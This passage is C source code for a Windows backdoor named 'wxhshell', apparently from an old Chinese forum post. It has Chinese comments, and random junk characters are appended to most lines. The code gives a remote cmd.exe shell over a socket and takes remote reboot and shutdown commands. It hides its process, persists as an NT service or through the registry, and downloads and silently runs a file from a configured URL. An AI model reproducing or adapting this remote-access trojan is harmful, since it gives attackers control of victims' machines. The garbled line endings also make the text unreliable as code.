  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "M\rO!f:  
  } \7#w@3*  
  else { ^e ;9_(  
jAv3qMQA  
    switch(cmd[0]) { HvKdV`bz  
   4~ L1~Gk  
  // 帮助 . &`YlK  
  case '?': { >}2 ,2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B9KBq $e  
    break; o2hZ=+w>  
  } 7'Hh^0<  
  // 安装 #b:YY^{g_  
  case 'i': { ~Z*7:bPN!^  
    if(Install()) u2`j\ Vu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x*=m'IM[  
    else @ uN+]e+3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >H5t,FfQL  
    break; ocMTTVo  
    } kzNRRs\e  
  // 卸载 KK4e'[Wf  
  case 'r': { (!J;g|58  
    if(Uninstall()) ^8]7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YjJ^SU`*  
    else Q-#<{' (  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #h U4gX,  
    break; \.p; 4V&  
    } E?bv<L,"  
  // 显示 wxhshell 所在路径 oSf`F1;)HQ  
  case 'p': { *PB/I4>{  
    char svExeFile[MAX_PATH]; ],~[^0  
    strcpy(svExeFile,"\n\r"); -1NR]#P'  
      strcat(svExeFile,ExeFile); @g+v2(f2v  
        send(wsh,svExeFile,strlen(svExeFile),0); 0=t2|,}  
    break; }~ N\A  
    } Ea'jAIFPpO  
  // 重启 \/gf_R_GN  
  case 'b': { bb\XZ~)F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3 |LRb/|  
    if(Boot(REBOOT)) 84reyA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .3XiL=^~Qp  
    else { rnp; R  
    closesocket(wsh); /0Qo(  
    ExitThread(0); *O@Zn  
    } 4,h)<(d{  
    break; 8;c\} D  
    } Qp)?wny4  
  // 关机 |`Yn'Mj8rm  
  case 'd': { {Oq8A.daJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ruq>+ }4  
    if(Boot(SHUTDOWN)) A #m_w*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N;BuBm5K  
    else { 1>Vq<z  
    closesocket(wsh); A-_M=\  
    ExitThread(0); K`uPPyv  
    } Ui9;rh$1eU  
    break; I.|b:c xN  
    } ;L#RFdh  
  // 获取shell B]}gfVO  
  case 's': { a}|<*!4zUQ  
    CmdShell(wsh); 9IrCu?n9b  
    closesocket(wsh); Mqk|H~l5c  
    ExitThread(0);  YGs'[On8  
    break; %6^nb'l'C  
  } Qb%; |li  
  // 退出 hNkv lk'Ui  
  case 'x': { PVdN)tG5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~)>.%`v&  
    CloseIt(wsh); ZGI<L  
    break; ?p 4iXHE  
    } V>E7!LIn.  
  // 离开 c&wiTvRV  
  case 'q': { Nge@8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &+ PVY>q  
    closesocket(wsh); %H&WihQ  
    WSACleanup(); =_g#I  
    exit(1); i ps)-1  
    break; p[At0Gc L  
        } V EsM  
  } re#]zc<  
  } =A{'57yP  
*)I^+zN  
  // 提示信息 >+.GBf<E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Uam %u  
} 3PL0bejaT7  
  } m-;8O /  
}Y!s:w#  
  return; xN}f?  
} )p>p3b g  
u>agVB4\F  
// shell模块句柄 8\:>;XG6f  
int CmdShell(SOCKET sock) 7t}s5}Z 4  
{ Ygkf}n  
STARTUPINFO si; ?1 Vx)j>|  
ZeroMemory(&si,sizeof(si)); T"C.>G'[B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,)J>8eV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (18ZEKk  
PROCESS_INFORMATION ProcessInfo; +opym!\  
char cmdline[]="cmd"; hJSWh5]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YDYNAOThnb  
  return 0; HrFbUK@@  
} XkoPN]0n  
+t&)Z  
// 自身启动模式 &2 *  
int StartFromService(void) KHC Fz  
{  AW|SD  
typedef struct "iX\U'`  
{ 0:4>rYBC   
  DWORD ExitStatus; _K'Y`w']  
  DWORD PebBaseAddress; \+Y=}P>  
  DWORD AffinityMask; ;pOV; q3j  
  DWORD BasePriority; KD+&5=Y  
  ULONG UniqueProcessId; Bj><0 cNF  
  ULONG InheritedFromUniqueProcessId; 0raFb,6l  
}   PROCESS_BASIC_INFORMATION; Knb(MI6  
b2[U3)|oO  
PROCNTQSIP NtQueryInformationProcess; 1uG)U)y/Q  
#r?[@aJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P ecZuv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UGgo;e  
KC2Z@  
  HANDLE             hProcess; fz|_c*&64  
  PROCESS_BASIC_INFORMATION pbi; fGs\R]  
sMUpkU-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7F~gA74h  
  if(NULL == hInst ) return 0; |S@  
#8M^;4N >[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z(R0IW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _nxu8g]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C0Fd<|[  
QkHG`yW  
  if (!NtQueryInformationProcess) return 0; %_B2/~  
/dvronG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LN<rBF[_:f  
  if(!hProcess) return 0; @W$ha y  
~7g$T Ae{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8Exky^OT|  
?@FqlWz,  
  CloseHandle(hProcess); &OXx\}>MW  
zzo93d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `ZM$\Q=:  
if(hProcess==NULL) return 0; $9X?LGUz  
g=qaq  
HMODULE hMod; /iQh'rp  
char procName[255]; J>;r(j  
unsigned long cbNeeded; <6,,:=#  
kv+^U^WoU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Lw(tO0b2H  
JgKhrDx  
  CloseHandle(hProcess); Df*<3G  
KQ81Oxu*C  
if(strstr(procName,"services")) return 1; // 以服务启动 tf8xc  
>JY\h1+ H  
  return 0; // 注册表启动 \b!E"I_^  
} gn~^Ajo  
%VR{<{3f  
// 主模块 ,1~zMzw^  
int StartWxhshell(LPSTR lpCmdLine) VSV]6$~H  
{ YPY,g R  
  SOCKET wsl; .;ofRx<  
BOOL val=TRUE; RF'nwzM3  
  int port=0; 5M5vxJ)Lh  
  struct sockaddr_in door; |/%5~=%7  
d&Nji%Ej  
  if(wscfg.ws_autoins) Install(); $ywROa]  
9b,0_IMHH  
port=atoi(lpCmdLine); J:ka@2>|  
|r)QkxdU,  
if(port<=0) port=wscfg.ws_port; V,'_BUl+x  
_j0xL{&&  
  WSADATA data; rbIYLVA+V  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T:2f*!r  
3k(tv U+eC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?K2}<H-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cTRtMk%^  
  door.sin_family = AF_INET; QUvSeNSp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %N(>B_t\  
  door.sin_port = htons(port); #9.%>1{6Y  
HJym|G>%?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XD0a :T)  
closesocket(wsl); 6Uq;]@k%  
return 1; Zz/p'3?#  
} *fv BB9raq  
Fo;:GX,b  
  if(listen(wsl,2) == INVALID_SOCKET) { ,RY;dX-#  
closesocket(wsl); c|aX4=Z  
return 1; W(4$.uZ)  
} g.%} +5  
  Wxhshell(wsl); s3Zt)xQ3  
  WSACleanup(); v#<{Y' K  
xVX:kDX  
return 0; 7I&o  
7l =Tl[n  
} ~OvbMWu  
H<<t^,E^.t  
// 以NT服务方式启动 mEi(DW)(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Qy[S~D_  
{ =&9c5"V&  
DWORD   status = 0; |pG0 .p4  
  DWORD   specificError = 0xfffffff; BOcD?rrZ0  
-KfK~P3PF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4e AMb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >b=."i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5k Q@]n:<k  
  serviceStatus.dwWin32ExitCode     = 0; yqL"YD  
  serviceStatus.dwServiceSpecificExitCode = 0; kTI5CoXzq  
  serviceStatus.dwCheckPoint       = 0; Q 3^h  
  serviceStatus.dwWaitHint       = 0; S^p^) fAmF  
$@] xi  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p8@&(+z  
  if (hServiceStatusHandle==0) return; J` gG`?  
V rx,'/IS8  
status = GetLastError(); (y&sUc9  
  if (status!=NO_ERROR) B9$f y).Gp  
{ 'kY/=*=Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; / j%~#@  
    serviceStatus.dwCheckPoint       = 0; TecMQ0 KD  
    serviceStatus.dwWaitHint       = 0; |mRlP5  
    serviceStatus.dwWin32ExitCode     = status; |j9aTv[`  
    serviceStatus.dwServiceSpecificExitCode = specificError; +/RR!vG,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tK/,U =+  
    return; /je $+  
  } Rf>)#hn%  
^ +@OiL>&i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kN{$-v=K  
  serviceStatus.dwCheckPoint       = 0; ISK 8t  
  serviceStatus.dwWaitHint       = 0; xf,A<j (o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2Vf242z_  
} @n.n[zb\|  
i|AWaG)  
// 处理NT服务事件,比如:启动、停止 gCiM\Qx  
VOID WINAPI NTServiceHandler(DWORD fdwControl) i$6rnS&C  
{ G8%VL^;O*5  
switch(fdwControl) qhcx\eD:?  
{ |&W4Dk n  
case SERVICE_CONTROL_STOP: _#&oQFdYR  
  serviceStatus.dwWin32ExitCode = 0; _Y]Oloo('  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Cojs;`3iF:  
  serviceStatus.dwCheckPoint   = 0; ^dhx/e%s  
  serviceStatus.dwWaitHint     = 0; tvFe_*Ck  
  { d4^x,hzV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =7H\llL4BC  
  } _&9P&Zf4  
  return; 7qUg~GJX  
case SERVICE_CONTROL_PAUSE: rTVv6:L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ZN;ondp4  
  break; ISFNP&& K  
case SERVICE_CONTROL_CONTINUE: 3BD&;.<r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [r3sk24  
  break; Eri007?D  
case SERVICE_CONTROL_INTERROGATE: $%"hhju  
  break; An0N'yo"Z  
}; '\op$t/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w2XHY>6];  
} z[<Na3]  
Bt,'g* Cs  
// 标准应用程序主函数 s5mJ -  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RN[x\",  
{ lMu-,Z="  
,tg]Gt  
// 获取操作系统版本 $MwBt  
OsIsNt=GetOsVer(); \< T7EV.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H? Q--pG8  
hE`d@  
  // 从命令行安装 !z4I-a  
  if(strpbrk(lpCmdLine,"iI")) Install(); sZr \mQ~  
zx2`0%Q  
  // 下载执行文件 K\;4;6 g  
if(wscfg.ws_downexe) { 7.ein:M|CB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V59!}kel1%  
  WinExec(wscfg.ws_filenam,SW_HIDE); Db*b"/]  
} U!c+i#:t  
A- Abj'  
if(!OsIsNt) { R13k2jLSQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 JeNX5bXW  
HideProc(); % 33O)<?  
StartWxhshell(lpCmdLine); pt3)yj&XE  
} G/# <d-}_  
else [f  lK  
  if(StartFromService()) $/g`{O I]K  
  // 以服务方式启动 a.gMH uL  
  StartServiceCtrlDispatcher(DispatchTable); U>.5vK.+  
else >]gB@tn[  
  // 普通方式启动 LiQH!yHW  
  StartWxhshell(lpCmdLine); uM\\(g}  
LA59O@r  
return 0; *aWh]x9TlU  
}
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只看该作者 1 发表于: 2006-10-10
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